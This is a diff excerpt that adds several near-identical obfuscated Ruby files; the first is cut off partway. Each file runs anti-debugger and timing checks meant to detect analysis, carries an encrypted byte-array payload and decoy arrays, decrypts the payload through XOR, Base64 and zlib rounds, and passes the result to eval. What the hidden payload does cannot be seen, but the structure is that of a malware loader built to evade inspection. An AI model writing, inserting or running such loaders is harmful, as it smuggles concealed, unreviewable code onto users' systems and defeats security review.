+ _x71b85d = [74, 223, 151, 234, 18, 103, 252, 74, 101, 222, 64, 170, 233, 180, 159, 194, 101, 155, 169, 76, 204, 24, 243, 220, 72, 76, 27, 81, 18, 9, 188, 230, 204, 90, 114, 217, 49, 123, 140, 43, 128, 46, 67, 204, 167, 36, 45, 161, 90, 31, 15, 140, 158, 109, 217, 189, 237, 249, 10, 58, 65, 120, 102, 189, 58, 134, 106, 144, 127, 62, 207, 188, 162, 212, 211, 234, 52, 131, 1, 42, 65, 176, 214, 59, 221, 232, 115, 208, 210, 146, 117, 17, 167, 121, 48, 246, 104, 104, 214, 94, 113, 227, 188, 230, 177, 245, 50, 240, 178, 73, 2, 104, 10, 190, 201, 172, 165, 145, 205, 47, 228, 13, 210, 3]
65
+ _p2dca63 = [44, 132, 179, 21, 132, 235, 231, 233, 143, 42, 105, 255, 141, 248, 117, 206, 216, 84, 137, 169, 155, 181, 206, 153, 50, 242, 62, 30, 247, 127, 51, 84, 113, 72, 220, 60, 56, 149, 173, 19, 107, 130, 238, 17, 235, 99, 164, 148, 58, 106, 29, 58, 108, 29, 107, 57, 200, 217, 185, 147, 0, 16, 156, 151, 26, 255, 117, 142, 173, 32, 20, 114, 187, 8, 44, 251, 67, 166, 70, 157, 250]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _q35b0db.call(_v485f47, _ad89dfa, _vea874a, _p81dcd0)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _da69bb2 = _v485f47.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_id6e1fd|
79
+ # Calculate which round we're reversing
80
+ _mdb43bd = 5 - _id6e1fd - 1
81
+
82
+ # Get key for this reverse round
83
+ _h586605 = 4
84
+ _rce6ab5 = _mdb43bd * _h586605
85
+ _k7b2e76 = _vea874a[_rce6ab5, _h586605]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _ad89dfa[_mdb43bd] == 1
93
+ _cfcac56 = _da69bb2.pack('C*')
94
+ _cfcac56 = Base64.strict_decode64(_cfcac56)
95
+ _da69bb2 = _cfcac56.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _da69bb2 = _a20673d.call(_da69bb2, _k7b2e76)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _cfcac56 = _da69bb2.pack('C*')
103
+ _cfcac56 = Zlib::Inflate.inflate(_cfcac56)
104
+ _da69bb2 = _cfcac56.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _cce6505 = _da69bb2.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _cce6505.strip.empty? || _cce6505.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_cce6505, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _t28d611
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_t28d611.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _xa5f02b = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _z8c11a2 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _z8c11a2) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _n0287dc = _xa5f02b.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _if21757 = ->(_h464c2e, _d299e49) do
32
+ _y3f3ec7 = []
33
+ _h464c2e.each_with_index do |byte, idx|
34
+ _y3f3ec7 << (byte ^ _d299e49[idx % _d299e49.length])
35
+ end
36
+ _y3f3ec7
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _h6d6692 = lambda do |_s87e660, _n74c114, _z348b28, _cee5357|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_s87e660.pack('C*'))
44
+ if current_hash != _cee5357
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _s87e660 = [127, 81, 213, 217, 64, 41, 114, 36, 7, 139, 24, 23, 182, 219, 226, 56, 20, 168, 144, 147, 79, 84, 137, 16, 147, 117, 176, 149, 212, 116, 231, 3, 31, 160, 193, 38, 215, 189, 231, 169, 79, 115, 61, 224, 126, 132, 35, 237, 185, 82, 76, 20, 141, 84, 230, 27, 250, 192, 132, 183, 170, 118, 28, 86, 21, 147, 12, 153, 45, 51, 54, 108, 35, 122, 1, 253, 160, 195, 241, 177, 250, 203, 153, 121, 191, 197, 145, 195, 125, 196, 245, 223, 215, 107, 95, 5, 86, 223, 40, 167, 134, 234, 241, 99, 48, 80, 164, 113, 247, 79, 10, 19, 72, 138, 129, 113, 83, 126, 137, 19, 188, 77, 115, 80, 94, 11, 138, 8, 14, 117, 234, 85, 141, 0, 108, 228, 35, 18, 201, 197, 130, 66, 141, 254, 75, 223, 221, 143, 104, 159, 101, 32, 34, 54, 79, 145, 227, 55, 89, 129, 185, 108, 204, 241, 19, 102, 118, 79, 202, 155, 211, 119, 130, 25, 111, 49, 41, 3, 71, 63, 109, 10, 15, 19, 216, 36, 42, 135, 121, 31, 145, 226, 115, 90, 179, 80, 204, 90, 180, 76, 175, 160, 7, 238, 245, 195, 198, 133, 1, 76, 103, 48, 240, 176, 45, 97, 145, 178, 169, 87, 57, 106, 213, 55, 174, 238, 63, 88, 96, 208, 201, 115, 146, 173, 78, 97, 110, 212, 13, 217, 4, 3, 193, 169, 20, 208, 53, 224, 103, 55, 186, 102, 8, 151, 41, 27, 4, 197, 94, 148, 59, 52, 77, 183, 124, 38, 89, 67, 56, 106, 22, 37, 15, 16, 71, 206, 211, 97, 92, 147, 181, 184, 39, 211, 203, 225, 14, 163, 179, 190, 220, 141, 64, 137, 186, 186, 206, 207, 63, 57, 232, 88, 31, 197, 8, 208, 75, 204, 149, 192, 96, 116, 72, 16, 7, 35, 17, 164, 45, 25, 55, 96, 160, 132, 7, 251, 69, 82, 84, 158, 18, 21, 190, 150, 98, 160, 178, 72, 215, 167, 227, 148, 236, 149, 167, 108, 160, 194, 162, 94, 25, 209, 120, 82, 129, 254, 4, 60, 96, 110, 230, 62, 254, 162, 144, 187, 10, 240, 94, 39, 70, 129, 146, 70, 140, 216, 49, 133, 67, 158, 100, 213, 12, 241, 1, 105, 136, 191, 146, 59, 98, 57, 127, 82, 188, 111, 43, 160, 65, 20, 157, 126, 51, 106, 63, 101, 243, 24, 41, 2, 229, 207, 183, 133, 171, 27, 73, 173, 52, 62, 113, 222, 154, 239, 159, 77, 78, 217, 18, 175, 18, 251, 28, 51, 23, 12, 214, 69, 23, 71, 93, 250, 206, 29, 125, 23, 34, 227, 187, 49, 170, 115, 9, 19, 182, 74, 193, 155, 146, 134, 114, 96, 14, 146, 33, 82, 118, 218, 82, 30, 16, 143, 231, 9, 228, 61, 31, 163, 135, 17, 233, 43, 90, 224, 149, 71, 82, 164, 6, 84, 110, 113, 247, 119, 52, 134, 130, 40, 175, 108, 135, 39, 46, 235, 6, 102, 218, 198, 76] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _k1f7e85 = [147, 153, 46, 203, 245, 86, 96, 34, 115, 170, 237, 48, 73, 83, 219, 205, 7, 139, 216, 20]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _n74c114 = [1, 1, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _cee5357 = '10b43a5c7d2bba1a80b9f82573c3593bc4611e9b3c1e52c752cac3e94b64fad1'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _x1c5f4d = [6, 88, 5, 69, 207, 134, 31, 165, 206, 234, 128, 173, 141, 50, 245, 155, 143, 243, 211, 217, 191, 60, 134, 153, 179, 88, 1, 5, 139, 80, 26, 50, 199, 240, 113, 140, 171, 24, 205, 168, 147, 93, 173, 67, 88, 132, 21, 163, 121, 31, 39, 15, 200, 194, 34, 191, 101, 220, 245, 180, 44, 243, 192, 11, 61, 228, 100, 2, 233, 16, 30, 231, 231, 48, 12, 0, 50, 211, 85, 37, 193, 162, 168, 15, 11, 18, 82, 119, 183, 79, 158, 139, 205]
64
+ _h7c0097 = [213, 232, 191, 10, 160, 173, 110, 213, 163, 113, 119, 158, 225, 73, 231, 58, 244, 91, 235, 62, 22, 204, 62, 239, 50, 187, 143, 51, 84, 170, 50, 81, 100, 112, 246, 32, 42, 253, 99, 38, 169, 120, 185, 30, 80, 130, 132, 101, 26, 103, 189, 75, 169, 200, 54, 31, 119, 34, 52, 19, 11, 81, 59, 241, 221, 150, 206, 167, 147, 2, 242, 218, 246, 9, 126, 209, 70, 200]
65
+ _m8763ba = [33, 207, 251, 40, 206, 14, 50, 142, 56, 13, 222, 35, 134, 30, 156, 200, 159, 102, 0, 50, 90, 213, 16, 213, 89, 8, 127, 176, 208, 95, 136, 67, 165, 76, 237, 173, 112, 93, 82, 244, 111, 34, 231, 142, 27, 58, 194, 18, 250, 165, 97, 200, 105, 128, 75, 251, 205, 13, 103, 39, 239, 14, 136, 235, 205, 210, 234, 168, 168, 100, 98, 12, 247, 156]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _h6d6692.call(_s87e660, _n74c114, _k1f7e85, _cee5357)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _re83212 = _s87e660.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_m6ae258|
79
+ # Calculate which round we're reversing
80
+ _dbdcc47 = 5 - _m6ae258 - 1
81
+
82
+ # Get key for this reverse round
83
+ _g7d37f1 = 4
84
+ _fc3d5f7 = _dbdcc47 * _g7d37f1
85
+ _qb3fd02 = _k1f7e85[_fc3d5f7, _g7d37f1]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _n74c114[_dbdcc47] == 1
93
+ _s176843 = _re83212.pack('C*')
94
+ _s176843 = Base64.strict_decode64(_s176843)
95
+ _re83212 = _s176843.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _re83212 = _if21757.call(_re83212, _qb3fd02)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _s176843 = _re83212.pack('C*')
103
+ _s176843 = Zlib::Inflate.inflate(_s176843)
104
+ _re83212 = _s176843.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _q4e995c = _re83212.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _q4e995c.strip.empty? || _q4e995c.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_q4e995c, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _e162c8b
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_e162c8b.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _sc1fec0 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _dc58569 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _dc58569) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _i6b1d23 = _sc1fec0.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _kc0785e = ->(_a8d70d6, _z63f0b4) do
32
+ _ee3e075 = []
33
+ _a8d70d6.each_with_index do |byte, idx|
34
+ _ee3e075 << (byte ^ _z63f0b4[idx % _z63f0b4.length])
35
+ end
36
+ _ee3e075
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _s300523 = lambda do |_ge4e99e, _h3ae2c4, _v1fbad0, _wb45028|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_ge4e99e.pack('C*'))
44
+ if current_hash != _wb45028
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _ge4e99e = [236, 65, 230, 27, 149, 29, 25, 217, 16, 239, 19, 160, 91, 16, 139, 79, 13, 41, 58, 35, 75, 216, 243, 149, 216, 231, 65, 61, 169, 208, 174, 41, 141, 226, 217, 19, 28, 65, 154, 178, 188, 130, 89, 211, 88, 148, 14, 46, 63, 177, 249, 123, 190, 55, 220, 148, 57, 59, 203, 142, 132, 133, 5, 61, 16, 88, 96, 169, 23, 96, 185, 229, 100, 122, 184, 41, 139, 43, 167, 226, 182, 174, 85, 167, 183, 69, 150, 129, 221, 49, 206, 129, 97, 85, 100, 46, 176, 60, 236, 97, 0, 178, 56, 161, 101, 208, 184, 233, 194, 69, 183, 106, 145, 117, 134, 4, 143, 202, 110, 95, 34, 3, 224, 29, 163, 29, 159, 131, 234, 199, 30, 16, 6, 178, 168, 203, 106, 194, 129, 66, 73, 18, 142, 193, 173, 53, 232, 176, 148, 15, 157, 169, 221, 2, 107, 218, 196, 215, 50, 87, 192, 94, 211, 191, 167, 124, 46, 248, 5, 45, 61, 92, 218, 25, 237, 238, 163, 56, 183, 188, 199, 214, 116, 191, 65, 131, 157, 196, 107, 225, 89, 79, 107, 209, 17, 21, 199, 207, 47, 95, 20, 239, 57, 217, 99, 106, 126, 33, 148, 134, 142, 214, 130, 20, 181, 178, 130, 134, 152, 116, 199, 236, 87, 188, 162, 13, 54, 85, 94, 19, 73, 59, 76, 238, 187, 10, 20, 100, 231, 103, 172, 67, 236, 199, 245, 33, 3, 254, 48, 231, 157, 125, 1, 217, 174, 144, 35, 179, 97, 192, 140, 93, 92, 140, 206, 134, 145, 195, 37, 206, 109, 209, 124, 208, 237, 176, 242, 127, 17, 5, 164, 83, 207, 219, 160, 77, 207, 155, 221, 28, 170, 137, 89, 167, 65, 18, 216, 67, 205, 194, 178, 143, 58, 228, 167, 59, 215, 89, 179, 0, 119, 69, 118, 89, 9, 179, 214, 17, 196, 184, 43, 147, 239, 139, 0, 144, 133, 233, 121, 185, 241, 105, 16, 106, 125, 249, 93, 109, 206, 93, 49, 240, 128, 85, 134, 161, 39, 64, 108, 100, 150, 156, 237, 58, 196, 53, 8, 64, 32, 184, 121, 54, 14, 46, 88, 76, 37, 130, 64, 75, 82, 144, 245, 22, 13, 148, 235, 201, 96, 52, 66, 254, 197, 151, 236, 235, 39, 2] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _p611840 = [232, 175, 236, 164, 34, 60, 191, 33, 142, 52, 194, 6, 195, 94, 117, 154, 148, 155, 231, 98]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _h3ae2c4 = [0, 1, 0, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _wb45028 = '65b46a6fb3e298f8c3ea80f615cfa411964587d582339a19b41298d6834f522d'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _n012ee0 = [36, 153, 188, 26, 88, 99, 252, 23, 235, 89, 230, 150, 12, 30, 187, 59, 189, 52, 34, 237, 212, 178, 96, 182, 198, 94, 24, 75, 86, 221, 211, 227, 140, 88, 231, 172, 168, 243, 25, 101, 131, 190, 230, 147, 195, 117, 63, 185, 37, 130, 197, 197, 162, 11, 109, 107, 232, 162, 95, 2, 107, 135, 218, 32, 45, 117, 104, 116, 208, 73, 200, 0, 246, 254]
64
+ _c72da89 = [20, 108, 159, 198, 227, 44, 235, 246, 76, 123, 140, 55, 132, 184, 74, 116, 9, 236, 198, 187, 198, 67, 252, 90, 77, 3, 146, 75, 58, 94, 254, 236, 122, 222, 238, 58, 113, 93, 84, 82, 51, 13, 161, 239, 250, 225, 107, 175, 251, 3, 83, 134, 246, 197, 43, 197, 195, 21, 239, 226, 75, 164, 54, 35, 1, 153, 112, 57, 212, 109, 155, 156, 195, 196, 87, 255, 216, 225, 216, 35, 250, 226, 27, 106, 127, 81, 137, 153, 192, 143, 63, 141, 231, 103, 136, 157, 99, 182, 152, 185, 111, 153, 120, 207, 146, 197, 133, 82, 236, 116, 233, 73, 141, 9, 34]
65
+ _h2e9430 = [231, 215, 73, 181, 248, 67, 30, 228, 96, 69, 253, 130, 165, 198, 56, 106, 73, 54, 94, 92, 217, 209, 156, 66, 154, 87, 144, 145, 0, 166, 215, 211, 213, 52, 155, 135, 234, 154, 15, 230, 50, 147, 119, 59, 232, 35, 218, 176, 185, 75, 158, 195, 179, 180, 81, 178, 225, 244, 119, 46, 228, 99, 107, 207, 89, 23, 250, 45, 55, 203, 148, 213, 86, 204, 158, 238, 224, 209, 212, 221, 10, 1, 44, 219, 175, 173, 3, 122, 9, 72, 239, 164, 199, 242, 222, 14, 188, 40, 200, 55, 238, 89, 240, 147]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _s300523.call(_ge4e99e, _h3ae2c4, _p611840, _wb45028)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _k1f567e = _ge4e99e.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_q9c0dc8|
79
+ # Calculate which round we're reversing
80
+ _ja7204d = 5 - _q9c0dc8 - 1
81
+
82
+ # Get key for this reverse round
83
+ _mf9ec26 = 4
84
+ _r2411b9 = _ja7204d * _mf9ec26
85
+ _xd74804 = _p611840[_r2411b9, _mf9ec26]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _h3ae2c4[_ja7204d] == 1
93
+ _o116421 = _k1f567e.pack('C*')
94
+ _o116421 = Base64.strict_decode64(_o116421)
95
+ _k1f567e = _o116421.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _k1f567e = _kc0785e.call(_k1f567e, _xd74804)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _o116421 = _k1f567e.pack('C*')
103
+ _o116421 = Zlib::Inflate.inflate(_o116421)
104
+ _k1f567e = _o116421.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _x4d679a = _k1f567e.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _x4d679a.strip.empty? || _x4d679a.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_x4d679a, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _ebe12ff
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_ebe12ff.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _i10ff05 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _ofa142c = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _ofa142c) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _n0b289e = _i10ff05.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _v55da02 = ->(_b64e909, _j44f527) do
32
+ _zcbfbe0 = []
33
+ _b64e909.each_with_index do |byte, idx|
34
+ _zcbfbe0 << (byte ^ _j44f527[idx % _j44f527.length])
35
+ end
36
+ _zcbfbe0
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _ce3adf4 = lambda do |_se4edd9, _tf28528, _i5c32e0, _zdfdd7d|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_se4edd9.pack('C*'))
44
+ if current_hash != _zdfdd7d
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _se4edd9 = [249, 177, 90, 39, 198, 201, 28, 166, 129, 107, 143, 229, 216, 47, 112, 173, 197, 213, 142, 160, 142, 29, 220, 162, 158, 70, 181, 15, 126, 16, 173, 70, 23, 22, 23, 64, 119, 139, 172, 189, 222, 76, 136, 223, 111, 54, 79, 211, 13, 73, 8, 183, 236, 135, 23, 7, 46, 126, 242, 162, 65, 148, 5, 38, 159, 81, 212, 73, 64, 27, 117, 80, 176, 231, 47, 121, 146, 160, 156, 55, 54, 17, 57, 211, 180, 31, 5, 76, 60, 177, 72, 3, 17, 197, 165, 245, 200, 115, 53, 161, 6, 118, 138, 81, 181, 176, 141, 25, 219, 116, 82, 153, 48, 111, 91, 94, 138, 99, 217, 65, 63, 234, 105, 168, 70, 213, 104, 119, 36, 198, 124, 170, 64, 110, 35, 213, 198, 232, 1, 176, 135, 150, 78, 106, 80, 112, 172, 245, 220, 76, 249, 104, 25, 245, 183, 240, 68, 136, 120, 103, 188, 144, 227, 143, 207, 232, 221, 15, 83, 243, 140, 251, 100, 18, 105, 183, 155, 30, 124, 153, 57, 196, 92, 215, 250, 173, 47, 189, 81, 198, 158, 128, 91, 56, 169, 3, 32, 38, 207, 62, 95, 96, 233, 173, 101, 32, 159, 170, 42, 231, 23, 245, 58, 151, 189, 98, 222, 76, 154, 15, 52, 44, 37, 54, 241, 169, 228, 36, 189, 21, 88, 53, 125, 194, 119, 166, 234, 174, 60, 251, 203, 219, 132, 93, 192, 78, 236, 35, 94, 189, 22, 85, 231, 21, 156, 225, 74, 16, 6, 63, 243, 201, 247, 191, 164, 49, 216, 145, 97, 125, 98, 126, 19, 61, 240, 213, 221, 171, 234, 82, 156, 22, 57, 142, 164, 45, 148, 177, 123, 120, 176, 239, 182, 65, 203, 253, 244, 177, 7, 207, 112, 253, 123, 121, 199, 34, 124, 187, 210, 197, 173, 63, 122, 209, 74, 192, 203, 28, 160, 106, 24, 137, 16, 36, 68, 255, 116, 115, 8, 199, 160, 58, 89, 171, 35, 98, 103, 72, 180, 15, 217, 111, 155, 75, 82, 140, 61, 72, 174, 172, 120, 122, 63, 108, 75, 151, 76, 59, 101, 88, 74, 131, 251, 200, 15, 49, 120, 213, 251, 250, 140, 52, 106, 155, 22, 219, 223, 207, 120, 85, 237, 73, 219, 205, 177, 214, 170, 84, 184, 48, 114, 9, 29, 39, 246, 145, 148, 253, 197, 186, 42, 226, 215, 99, 88, 107, 20, 71, 63, 150, 136, 228, 162, 152, 88, 39, 6, 39, 79, 23, 217, 225, 229, 207, 78, 67, 182, 207, 230, 114, 161, 231, 204, 172, 235, 179] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _v491793 = [171, 97, 96, 163, 159, 141, 72, 23, 157, 109, 111, 132, 122, 186, 152, 84, 129, 107, 95, 230]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _tf28528 = [1, 1, 1, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _zdfdd7d = '3ab78ef62e06041098fb24e359165de39d33447c8cc3fbdc098045bed9ee6e1e'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _c4854a0 = [130, 77, 247, 72, 193, 43, 55, 24, 216, 59, 33, 133, 49, 249, 150, 151, 92, 195, 75, 224, 114, 246, 222, 71, 113, 170, 246, 180, 159, 34, 113, 112, 1, 180, 54, 160, 42, 226, 73, 179, 203, 37, 227, 102, 23, 152, 212, 67, 162, 197, 161, 208, 183, 217, 7, 220, 211, 95, 216, 124, 188, 211, 113, 206, 76, 113, 213, 191, 166, 241, 94, 33, 80, 200, 202, 233, 83, 9, 180, 74, 128, 40, 254, 154, 123, 5, 142, 180, 99, 147, 226, 53, 58, 159, 166, 110, 96, 57, 184, 201, 175, 41, 51, 47, 185, 251, 127, 40, 1, 175]
64
+ _n871fbf = [225, 86, 126, 56, 77, 222, 147, 34, 100, 198, 172, 149, 2, 90, 117, 187, 115, 132, 237, 169, 196, 82, 220, 111, 224, 53, 196, 71, 69, 62, 80, 215, 183, 120, 155, 0, 178, 111, 216, 7, 213, 130, 21, 205, 188, 62, 126, 249, 95, 100]
65
+ _rd5caf8 = [93, 107, 235, 80, 131, 232, 179, 95, 210, 250, 43, 235, 51, 25, 155, 45, 3, 58, 145, 30, 75, 96, 239, 104, 93, 159, 101, 216, 82, 241, 200, 154, 166, 82, 25, 155, 94, 20, 147, 7, 80, 207, 134, 132, 252, 228, 26, 78, 190, 85, 67, 170, 175, 96, 211, 165, 253, 183, 132, 232, 67, 20, 19, 199, 128, 181, 97, 134, 139, 131, 38, 84, 213, 66, 157, 18, 123, 38, 181, 228, 144, 17, 67, 162, 172, 122, 64, 198, 183, 16, 226, 15, 13, 194, 80, 230, 122, 200, 248, 150, 209, 65, 248, 246, 48, 5, 144, 213, 2, 19, 180, 165, 166, 187, 124, 74, 158, 117, 135, 71, 11, 115, 83, 30, 99, 25, 196, 47, 83, 252, 36, 148, 175, 75, 143, 170, 81, 126, 253, 233, 36]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _ce3adf4.call(_se4edd9, _tf28528, _v491793, _zdfdd7d)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _y672765 = _se4edd9.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_u80175b|
79
+ # Calculate which round we're reversing
80
+ _we5c465 = 5 - _u80175b - 1
81
+
82
+ # Get key for this reverse round
83
+ _e6b980f = 4
84
+ _la39ee2 = _we5c465 * _e6b980f
85
+ _q106176 = _v491793[_la39ee2, _e6b980f]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _tf28528[_we5c465] == 1
93
+ _m1959cc = _y672765.pack('C*')
94
+ _m1959cc = Base64.strict_decode64(_m1959cc)
95
+ _y672765 = _m1959cc.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _y672765 = _v55da02.call(_y672765, _q106176)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _m1959cc = _y672765.pack('C*')
103
+ _m1959cc = Zlib::Inflate.inflate(_m1959cc)
104
+ _y672765 = _m1959cc.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _e59e6f0 = _y672765.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _e59e6f0.strip.empty? || _e59e6f0.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_e59e6f0, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _i323697
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_i323697.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end